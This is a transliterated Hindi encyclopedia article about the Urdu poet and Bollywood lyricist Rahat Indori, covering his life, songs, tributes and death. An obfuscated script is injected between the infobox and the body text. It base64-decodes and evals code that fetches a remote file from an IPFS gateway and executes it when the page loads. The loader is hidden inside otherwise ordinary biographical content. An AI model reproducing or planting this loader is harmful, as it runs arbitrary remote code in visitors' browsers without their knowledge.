राहत इंदौरी

rahat iandauri
rahat iandauri|200px|center
poora nam	d aau. rahat iandauri
janm	1 janavari, 1950
janm bhoomi	iandaur, madhy pradesh
mrityu	11 agast, 2020
mrityu sthan	iandaur, madhy pradesh
abhibhavak	pita- raphtullah kuraishi, mata- makabool un nisha begam
pati/patni	aanjum rahabar (1988-1993), sima rahat
vishay	gazal, nazm, git
bhasha	urdoo
vidyalay	barakatullah vishvavidyalay, bhopal; madhy pradesh bhoj mukt vishvavidyalay
shiksha	em.e. (urdoo sahity), pi.echadi
prasiddhi	urdoo kavi, gitakar
nagarikata	bharatiy
any janakari	rahat iandauri devi ahilya vishvavidyalay, iandaur mean urdoo sahity ke pradhyapak bhi rahe. vah urdoo bhasha ke poorv prophesar aur chitrakar bhi rahe.
inhean bhi dekhean	kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>d aau. rahat iandauri (aangrezi: Dr. Rahat Indori, janm: 1 janavari, 1950; mrityu- 11 agast, 2020) prasiddh urdoo shayar aur hindi philmoan ke gitakar the. kam hi logoan ko is bat ka ilm hai ki rahat iandauri b aaulivud ke lie gane bhi likha karate the. vah urdoo bhasha ke poorv prophesar aur chitrakar bhi rahe. lanbe arase tak shrotaoan ke dil par raj karane vale rahat iandauri ki shayari mean hiandustani tahajib ka nara buland tha.

jivan parichay

rahat iandauri ka janm madhy pradesh rajy ke prasiddh nagar iandaur mean 1 janavari, 1950 mean kap da mil ke karmachari raphtullah kuraishi aur makabool un nisha begam ke yahaan hua. rahat ki praranbhik shiksha nootan skool iandaur mean huee. unhoanne islamiya karimiya k aaulej iandaur se 1973 mean apani snatak ki padhaee poori ki aur 1975 mean barakatullah vishvavidyalay, bhopal se urdoo sahity mean em.e. kiya. tatpashchath 1985 mean madhy pradesh bhoj mukt vishvavidyalay se urdoo sahity mean piechadi ki upadhi prapt ki. rahat iandauri, devi ahilya vishvavidyalay iandaur mean urdoo sahity ke pradhyapak bhi rah chuke the.

vivah

rahat iandauri urph rahat kuraishi ne do shadiyaan ki thian. unhoanne pahali shadi 27 mee, 1986 ko sima rahat se ki. sima se unako ek beti shibil aur 2 bete jinaka nam phaizal aur satalaj rahat haian, hue. unhoanne doosari shadi aanjum rahabar se sal 1988 mean ki. aanjum se unako ek putr hua, kuchh saloan ke bad in donoan mean talak ho gaya.

sangharshamay samay

thumb|250px|rahat iandauri iandaur ki jamin se kashiph iandauri aur noor iandauri bhi paedar shayar hue haian, lekin rahat iandauri jaisi shoharat kisi ko nahian mili. jhanda chauk darasal iandaur mean shayaroan ka gadh mana jata hai. sham se shuroo hokar der rat tak shayaroan ka jamav da yahaan laga rahata. ranipura sthit yah chauk samish khane aur shero-shayari ke lihaj se b da marakaj tha. yah abhi bhi badastoor chaloo hai. lekin jhanda chauk ka yah drishy badalakar bahut pichhe doosare vishvayuddh par itihas mean jakar sthir ho jata hai. is yuddh ke bad yani varsh 1945 se yoorop ki arthik sthiti bahut asthir ho gee thi. bharatiy kap da miloan mean jo utpadan hota tha, vah yoorop mean niryat par hi nirbhar tha. yoorop ke khastahal hone ka asar bharatiy miloan par hona hi tha. iandaur us samay kap da miloan ke lie jana jata tha. yahaan bhi kee milean band ho geean ya b di sankhya mean kamagaroan ki chhantani ho gee. rifat ullah aise kamagaroan mean the, jinaki naukari bhi chali gee. muphalisi ka daur unake jivan mean shuroo ho chuka tha. ve aauto chalane lag ge the. aise mean varsh 1950 ke pahale din, 1 janavari ko unake yahaan kamil (rahat iandauri) ka janm hota hai, jisaka nam bad mean badalakar rahat kar diya gaya tha. iandaur mean us din yah bhi hua tha ki holkar riyasat ne bharat mean vilay hone ki sahamati par dastakhat kie the. us samay ke rahat nayapura sthit sarakari skool mean padhate the aur kharcha-pani ke lie majadoori kiya karate the. paisa unake parijanoan ki jaroorat thi aur ve kamane ki jugat mean lage rahate the. malava mil ke pas unhoanne peantiang ki ek dukan khol li aur trak ke pichhe peant kar kamane ka hunar sadhane lage. motarasaikil aur skootaroan ke nambar plet bhi peant karane lage.

shayari ke divane

varishth chitrakar anis niyaji ke anusar- 'rahat bhaee ke phani ho jane ke sadame ne kuchh kuand daravajo ko khol diya hai. iandaur mean nayapura nam ki ek basti hai. yahaan aansar jamat ki bahutayat hai. yah log bunakar hua karate haian. vahaan meri phuphpho (bua) raha karati thian. maian aksar unake yahaan khelane chale jaya karata tha. unake ghar ke samane ek nili rang ki tempo kh di raha karati thi. ham bachche din bhar us tempo mean dhamachauk di machae raha karate the. vah tempo vali apa rahat sahab ki valeda hua karati thian tatha tempo unake valid ki amadani ka jariya thi. jab ve 9vian kaksha mean nootan hayar sekandari skool mean padhate the, tab skool mean ek mushayara hua. rahat ki dyooti shayaroan ki khidamat karane ke lie laga di gee. us mushayare mean jaannisar akhtar bhi ae the. chhatr rahat ne unaka atograph liya aur poochh liya- ‘maian bhi sher padhana chahata hooan, isake lie kya karana hoga.’ akhtar sahab bole, ‘pahale kam se kam ek hajar sher yad kar lo.’ is par rahat bol p de, ‘itane to mujhe abhi yad hai.’ akhtar sahab ne javab diya, ‘to phir is sher ko poora karo.’ yah kahakar jab unhoanne likha- ‘hamase bhaga n karo, door gajaloan ki tarah’ yah padhakar rahat bol die- ‘hamane chaha hai tumhean, chahane valoan ki tarah.’ matalab spasht hai ki apane skooli jivan se ve shayari ke divane ho ge the. ab drishy iandaur se bhopal a jata hai. barakatulla yoonivarsiti se rahat urdoo mean eme karate haian aur bhoj yoonivarsiti se piechadi. tho de samay iandaur mean adhyapan karane ke sath hi unaki shayari paravan chadhane lagi. yah vah daur tha, jab ve shauharat ki sidhiyoan par apane paanv jamate hue mashahoor hone ki taraph badh rahe the."

hiandi sinema mean yogadan

muanbee mean unaki jo di anu malik ke sath hit rahi thi. 'niand churaee meri kisane o sanam' aur 'tumasa koee pyara, koee masoom nahian hai' jaise unake likhe anaginat gane anu malik ke sath ke hi haian. unhoanne 'munna bhaee emabibies', 'sar', 'minakshi', 'janam', 'khuddar', 'mishan kashmir', 'karib', 'mardar', 'maian khila di too ana di', 'hamesha', 'hanan', 'jurm' ityadi kee philmoan ke lie git likhe. lekin unaka man b aaulivud mean ram nahian paya. ve apana sampoorn vaqt shayari ko dena chahate the. yah unaka sapana nahian, unaka jivan tha. muanbee se phir hamesha ke lie ve iandaur a ge aur khalis shayar ka mukammal jivan jine lage.

shayari ki bebaq, buland avaz

thumb|250px|rahat iandauri yuva shayar aur b aaulivud ke behatarin film lekhak sanjay masoom ke anusar- 'rahat iandauri sahab ka jana, shayari ki ek bebaq, buland avaz ka khamosh ho jana hai. apani shayari ke shuruati dinoan mean jin shayaroan ko sunakar, padhakar gazalean kahane ka hausala badha, unamean rahat sahab bhi the. mujhe yad hai ilahabad ki ek rat. akhil bharatiy mushayara tha. zyadatar shayar tarannum se padh rahe the aur logoan ki taliyaan bator rahe the. shrotaoan mean baitha maian, hatotsahit ho raha tha. kyoanki gazalean to maian kahane laga tha, lekin tarannum n mere pas tha aur n hi ho pane ki koee sanbhavana thi. tabhi manch par gazal padhane aye rahat iandauri sahab. unhoanne tahat mean jis aandaz mean apani gazal padhi, poora mahaul der tak taliyoan se gooanjata raha. rahat sahab ne mujhe kahian n kahian ek rahat di thi. halaanki unaki tarah sheroan-gazaloan ki adayagi sabake bas ki bat nahian. apani tarah se padhane vale vo akele shayar the. unhoanne gazaloan ko ek nayi dhar, ek nayi chamak di. unaki rachanaean ham sabaki amooly dharohar haian. us rat ilahabad mean padhi gayi unaki gazal ka ek sher-

'hamase poochho ki gazal maangati hai kitana lahoo,
sab samajhate haian ye dhandha b de aram ka hai.'

pratishthit chitrakar akhilesh ne rahat iandauri ko alahada aandazamean yad kaha- 'jab dubee jane ka tay hua ek subah baba (em. eph. husain) ka fon aya ki ap a rahe haian to apani pasand ke kuchh kaviyoan ki kavitaean lete ayean. bahut dinoan se hindi kavita ki nayi pidhi ka kuchh suna nahian hai. jaldi mean maianne shirish dhobale, udayan vajapeyi, vyomesh shukl, rakesh shrimal aur ekadh aur kavi ki kavita sangrah ya foto k aaupi li aur chala gaya. doosare din unhean kavitaean padhakar sunaee, jise sunakar baba ka man prasann hua aur ve tarif karate rahe. phir unhoanne agrah kiya ki maian dubee mean ek kavi sammelan ka ayojan unaki gailari ki madad se karooan. jisamean hindi ke paanch kavi hoan aur urdoo mean koee achchha shayar hai ya nahian. yah poochha, phir khud hi kaha rahat indori ko zaroor bulana. achchhi shayari kar rahe haian in dinoan. paanch hindi ke kavi hoan. do shayar aur yahaan se maian paanch arabi ke shayar chunooanga. gailari vali bhi sath thi lekin usi ki aruchi ke karan yah ayojan n ho saka. doosara mauqa tha baba ke intaqal ke bad unaki smriti mean iandaur ki gailari rifalekshan ke sumit bhaee ne ek sham mujhe aur rahat bhaee ko bolane ke lie amantrit kiya. rahat bhaee ne b di sanjidagi aur atmiyata se baba ko yad kiya aur unase ju de qissoan ko sunaya. jisamean ek vah bhi tha jab baba ne unase agali film ke git likhane ko kaha aur vah kam poora n ho saka.'

yuva chitrakar siraj saksena kahate haian- 'har shahar ki ek pahachan hoti haian ye pahachan vahaan ki mitti, vyavahar, bhasha aur us shahar ke charitr se banati haian. desh videsh mean prasiddh iandaur ke shayar diladar rahat iandauri nahian rahe.thumb|220px|left|rahat iandauri unaka padhane ka aandaz nirala aur akarshak tha. ham sab iandaur vale, unase umr mean chhote hoan ya b de, unhean rahat bhaee kah kar hi bulate the. halaanki ve the pita ki umr ke aur unhean ham vaisi hi muhabbat karate the aur karate raheangean. riphlekshans art gailari iandaur mean meri ekal chhapa kala pradarshani “in brif” (varsh 2018) ka udghatan unhian ke hathoan hua. ye vahi hath the jinhoanne apane jivan saphar ki shuruat brash se ki thi. pachahattar ke daur mean shahar ke malava mil ilake mean unaki ek chhoti si dukan hua karati thi jahaan ve sain bord peant kiya karate the. ve us samay rahat peantar ke nam se mashahoor the aur unaki dookan “peantar vali dukan” ke nam se us ilake mean pahachan pane lagi thi. vastr bhandar, bhojanalay, kirana stor adi chhoti b di dukanoan aur shoroom ke sain bord likh kar ve apana jivan yapan karate the. roz sham us dukan mean apani mandali ke sath (jab pentari ka kam khatm ho jata tha) shero-shayari mean rame rahate the. yah vahi daur tha jab rahat “iandauri” ban rahe the. pradarshani mean dikhae ge mere graphik priants ko dekh unhoanne der tak bat ki. chitroan mean lakiroan ke bare mean bat karate hue unhoanne apani bat galib ke ek sher se ki– 'dekhana taqarir ki lajzat ki jo usane kaha / maianne ye jana ki goya ye bhi mere dil mean haian.' siraj saksena ne vah bhi bataya jo rahat iandauri ne kaha- 'kardiyogram lakirean hoti haian use har adami nahian samajhata haian. dil ka mariz, jisaki lakirean haian vah khud bhi nahian samajhata. lekin un lakiroan ki ahamiyat aur kimat kya haian, yah sab ko mahasoos hota haian. agar ye lakirean idhar udhar ho jae to shayad ham bhi idhar udhar ho jaeangean.'

em. eph. husain se mitrata

siraj saksaina age batate haian ki- l aaukadaun mean bhi jab maianne apane mitr shubhashish chakrabarti ke sath jharakhand ke bachchoan ke lie 'rang johar' namak ek chitrakala pratiyogita ayojit ki. tab bhi hamare agrah par rahat iandauri ne is ayojan v bachchoan ki hausala aphajaee karate hue ek vidiyo banakar khud ko ham sabhi ke pas bheja tha. bachchoan ko unhonean apane vidiyoan sandesh mean rangoan ki sohabat ke mahatv ke bare mean asan aur prabhavi bhasha mean bataya. bhasha mean vyakt unaka sampreshan sahaj aur saralata se apanane ki taqat rakhata hai. meri pahali kitab “simit simit jal” (kavi piyoosh deeya ke sath ek sanvad) ke lokarpan ke samay bhi unhoanne apani upasthiti ko ek vidiyo ke zarie sajha kiya tha. husain sahab aur unaki dosti gahari thi. rahat iandauri jab muanbee pahuanche to husain sahab ne hi unake rahane ka bandobast kiya aur rahat bhaee ke yah kahane par ki ghar to thik hai. pharnichar bhi paryapt haian. bas divarean sooni haian. jald hi husain sahab ne apana ek chitr rahat bhaee ko us divar ke lie diya, jo aj bhi rahat bhaee ke iandaur ke ghar ki divar par hai. husain sahab aur unaki dosti unhean keral bhi le gee, jahaan donoan ne khoob rachanatmak samay bitaya.'

vishisht kathan

shayari ke bharatiy paridrishy mean nida phajali ke bad rahat iandauri ka nahian rahana ek aise shoony ki nirmiti kar gaya hai, jise bharane ke lie na maloom kitane lanbe vaqt ki jaroorat hogi. ve kisi vicharadhara ke nahian, balki jan-shayar the. apani aankhoan mean nami aur hoantho par chiangariyoan ko lie yah shayar apani tarah ke alag aur vishisht kahan ke lie hamesha yad kie jaeange. unhoanne ek akhabar se pichhale varsh kaha tha- 'maian sochata hooan ki aisi do lainean nahian likh paya, jo mujhe 100 sal bad bhi jianda rakh sakean. jis din meri rukhasat ki khabar ae, ap dekhiega meri jeb, maian vada karata hooan ki vo do mukammal lainean apako mil jaeangi.'

dilakash shaili ke shayar

rahat iandauri ki shayari ka aandaz bahut hi dilakash hota tha. ve apani lokapriyata ke liye koee aisa saral rasta nahian chunate the, jo shayari ki izzat ko kam karata ho. rahat jab gazal padh rahe hote to unhean dekhana aur sunana donoan ek anubhav se guzarane jaisa hota tha. rahat ke bhitar ka ek aur rahat is vaqt mahafil mean namoodar hota. vah ek tilism sa chha jata. rahat mushayaroan ke aise haraphanamaula rahe jinhean ap kisi bhi kram par khila lean, ve bazi mar hi lete the. unaka maeek par hona zindagi ka hona hota tha. yah ahasas sunane vale ko bar-bar milata ki rahat roobaroo haian aur achchhi shayari sirf aur sirf is vaqt suni ja rahi hai.

prasiddh filmi git

rahat iandauri ne lagabhag do darjan filmoan mean git likhe. unake prasiddh hindi film git kuchh is prakar haian-

• aj hamane dil ka har qissa (film- sar)
• tumasa koee pyara koee masoom nahian hai (film- khuddar)
• khat likhana hamean khat likhana (film- khuddar)
• rat kya maange ek sitara (film- khuddar)
• dil ko hazar bar roka (film- mardar)
• em bole to maian mastar (film- munnabhaee emabibies)
• dhuana dhuana (film- mishan kashmir)
• ye rishta kya kahalata hai (film- minakshi)
• chori-chori jab nazarean milian (film- karib)
• dekho-dekho janam ham dil (film- ishq)
• niand churayi meri (film- ishq)
• murshida (film - begam jan)

prasiddh gazal

agar khilaf haian hone do jan tho di hai
ye sab dhuaan hai koee asaman tho di hai

lagegi ag to aeange ghar kee zad mean
yahaan pe sirf hamara makan tho di hai

maian janata hooan ke dushman bhi kam nahian lekin
hamari taraha hatheli pe jan tho di hai

hamare muanh se jo nikale vahi sadaqat hai
hamare muanh mean tumhari zuban tho di hai

jo aj sahibe masanad haian kal nahian hoange
kiraedar haian zati makan tho di hai

sabhi ka khoon hai shamil yahaan ki mitti mean
kisi ke bap ka hindostan tho di hai

mrityu

mashahoor shayar rahat iandauri ka nidhan 11 agast, 2020 ko iandaur, madhy pradesh mean hua. bhopal se sthaniy patrakar shuraih niyazi ke mutabiq, 70 varshiy rahat iandauri ko korona aur saans lene mean dikkat ki vajah se bharti karaya gaya tha. unaki maut dil ka daura p dane se huee. iandaur ke shri aauraviando aspatal ke d aauktar vinodi bhandari ne bataya ki "mangalavar ko unhean do bar dil ka daura p da aur unhean bachaya nahian ja saka. unhean 60 pratishat nimoniya tha".

rahat iandauri ne mangalavar subah hi tvitar par apane korona sankramit hone ki janakari di thi. mangalavar ko isi ekauant se unaki mrityu ki soochana di gee. shuraih niyazi ke mutabiq़ sanbhavatah rahat iandauri ke bete ne ye tvit kiya tha. is tvit mean likha tha- "rahat sahab ka Cardiac Arrest ki vajah se aj sham 05:00 baje ianteqal ho gaya hai... unaki magafirat ke lie dua kijiye...".

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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